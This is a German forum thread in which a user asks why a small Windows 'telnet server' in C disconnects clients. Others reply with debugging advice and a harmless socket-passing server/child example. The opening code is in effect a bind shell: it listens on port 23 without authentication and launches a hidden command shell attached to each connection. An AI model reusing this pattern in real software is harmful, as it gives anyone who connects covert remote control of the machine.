Mini-Telnet Server
-
hallo! bei mir klappt folgendes nicht:
#include <Winsock2.h> #include <vcl.h> int main( int argc, char ** argv ) { WSADATA WSAData; SOCKADDR_IN sin; SOCKET sock; WSAStartup(MAKEWORD(2,0),&WSAData); sock = socket(AF_INET,SOCK_STREAM,0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl( INADDR_ANY ); sin.sin_port = htons( ( u_short )23 ); bind( sock, ( SOCKADDR * )&sin, sizeof( SOCKADDR_IN ) ); listen( sock, SOMAXCONN ); while( true ) { SOCKET tmp = accept( sock, 0, 0 ); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; char buff[ 2010 ]; si.cb = sizeof( si ); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = ( HANDLE )tmp; si.hStdError = ( HANDLE )tmp; si.hStdInput = ( HANDLE )tmp; GetEnvironmentVariable( "COMSPEC", buff, 2000 ); CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( tmp ); } }
das sollte ein telnet server sein, allerdings wenn ich mich mit irgendeinem client verbinde were ich direkt getrennt, kann mir jemand ein tipp geben was ich hier falsch mache?
-
Spaghetti...
greetz, Swordfish
-
ja tut mir laid, aber ist ja auch nicht lang der code
-
lass das closesocket weg
-
habe ich versucht, nein, das liegt an was anderem
-
Du empfängst ja nix vom client du wartest nru auf die connection dann führt er den Rest aus und trennt die Verbindung dann wartet er auf den nächsten client.
-
Bist du sicher ob das mit Sockets überhaupt geht?
Ansonsten... bist du sicher dass ein Socket per Default vererbbar ist? Wenn nicht könnte das helfen:SetHandleInformation(handle, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT);
-
Ich glaube nicht das das so geht.
Man kann ein Socket nicht einfach als StdOut/StdIn Handle des neuen Prozesses angeben, damit dieser dann einfach daraus Liest/rein schreibt.
Dazu musst du im Server speicherbereiche Anlegen (z.B.Pipes) und die als StdIn/StdOut Handles übergeben. Anschließend musst du alle Clients verwalten und erst schließen, wenn eine entsprechenden Anforderung gesendet wurde (oder Client weg).
Dann must du in deinem Server die Clientanfragen annehmen und an den Prozess übergeben. Dazu eignene sich z.B. Pipes, auf die kannst du im Server via Read/Write File zugreifen.
-
Hi,
habe mal vor kurzem folgenden Kurz-Server und -Child geschrieben. Der handelt alles ab, was du brauchst.
Probiere ihn doch mal aus und sage mir, ob er bei dir funktioniert!
Funktionsweise: Du startest "MyServer" in einem Fenster, in einem anderen Fenster gibst du ein: "telnet localhost 333". Dadurch wird "MyServerChild" gestartet.
Dann kannst du was tippen; wenn du ein "q" eingibst, gibt das Child den empfangenen Text aus und beendet sich.Hier der Server:
// MyServer.cpp : This is a Winsock server that is listening on a port (here 3333). #include "stdafx.h" #include "winsock2.h" #include "stdio.h" int main(int argc, char* argv[]) { // When a client connects, the server spawns a child process and // passes the socket handle to the child as parameter. WSADATA wsa; SOCKET OrigSock, listen_socket, DuplicateSock; SOCKADDR_IN myadd; int sockrc; memset(&myadd,0,sizeof(SOCKADDR_IN)); myadd.sin_family=AF_INET; myadd.sin_port=htons(3333); myadd.sin_addr.s_addr=ADDR_ANY, WSAStartup(MAKEWORD(2,0),&wsa); listen_socket=socket(AF_INET,SOCK_STREAM,0); if (listen_socket == INVALID_SOCKET) { fprintf(stderr,"create socket failed %d\n",GetLastError()); return -1; } sockrc=bind(listen_socket,(SOCKADDR*)&myadd, sizeof(SOCKADDR_IN)); if (sockrc) { fprintf(stderr,"bind to socket failed %d\n",GetLastError()); return -1; } sockrc=listen(listen_socket,20); if (sockrc) { fprintf(stderr,"listen failed %d\n",GetLastError()); return -1; } printf ("MyServer: I am waiting for incoming connections on port 3333...\nCall e.g. \"telnet localhost 3333\"\n"); OrigSock=accept(listen_socket,(struct sockaddr *)NULL,NULL); if (OrigSock == INVALID_SOCKET) { fprintf(stderr,"accept failed %d\n",GetLastError()); return -1; } { STARTUPINFO si; PROCESS_INFORMATION pi; char argbuf[256]; memset(&si,0,sizeof(si)); // // Duplicate the socket OrigSock to create an inheritable copy. // if (!DuplicateHandle(GetCurrentProcess(), (HANDLE)OrigSock, GetCurrentProcess(), (HANDLE*)&DuplicateSock, 0, TRUE, // Inheritable DUPLICATE_SAME_ACCESS)) { fprintf(stderr,"dup error %d\n",GetLastError()); return -1; } BOOL ok = SetHandleInformation( &DuplicateSock, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT ); if (!ok) printf ("MyServer: Error at SetHandleInformation!\n"); // // Spawn the child process. // The first command line argument (argv[1]) is the socket handle. // printf("MyServer: Original socket = %d; Duplicate socket = %d\n",OrigSock,DuplicateSock); wsprintf(argbuf,"myserverchild.exe %d",DuplicateSock); printf ("MyServer: I am starting my child process: %s\n", argbuf); if (!CreateProcess(NULL,argbuf,NULL,NULL, TRUE, // inherit handles 0,NULL,NULL,&si,&pi) ){ fprintf(stderr,"createprocess failed %d\n",GetLastError()); return -1; } // On Windows 95, the parent needs to wait until the child // is done with the duplicated handle before closing it. WaitForSingleObject(pi.hProcess, INFINITE); } // The duplicated socket handle must be closed by the owner // process--the parent. Otherwise, socket handle leakage // occurs. On the other hand, closing the handle prematurely // would make the duplicated handle invalid in the child. In this // sample, we use WaitForSingleObject(pi.hProcess, INFINITE) to // wait for the child. // closesocket(OrigSock); closesocket(DuplicateSock); WSACleanup(); printf ("MyServer: Program end...\n"); return 0; }
Und hier das entsprechende Child, der durch CreateProcess gestartet wird:
// My child program; called by MyServer #include "stdafx.h" #include "winsock2.h" #include "stdio.h" int main(int argc, char* argv[]) { WSADATA wsa; SOCKET mysocket; char inpc, inp[1000]; int sockrc; char errmsg[300]; DWORD err_code; inp[0]=0; WSAStartup(MAKEWORD(2,0),&wsa); printf("MyServerChild: Somebody called me; Socket: %s\n" , argv[1]); mysocket=atoi(argv[1]); // Convert the parm to socket number sockrc = 0; inpc = 0; while (inpc != 'q' && sockrc >=0) // Read until error or received character == 'q' { sockrc=recv(mysocket, &inpc, 1,0); strncat(inp,&inpc,1); } if(sockrc > 0) printf ("MyServerChild: I have successfully received the following: %s\n",inp); else { if (sockrc == 0) printf ("MyServerChild: Connection has been closed\n"); else { // Error err_code = WSAGetLastError(); FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, err_code, 0, errmsg, FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL ); printf ("MyServerChild: \"recv\" failed at socket %d\n\tWSAGetLastError:%d-%s\n",sockrc, err_code, errmsg); } } closesocket (mysocket); WSACleanup(); printf ("MyServerChild: Program end...\n"); return 0; }
Viel Erfolg damit!
Gruß, FlimmFlamm
-
ja, danke, ich werds mir ansehen
-
Das waren mal zeiten
Nun habe ich das ding mit assembler geschrieben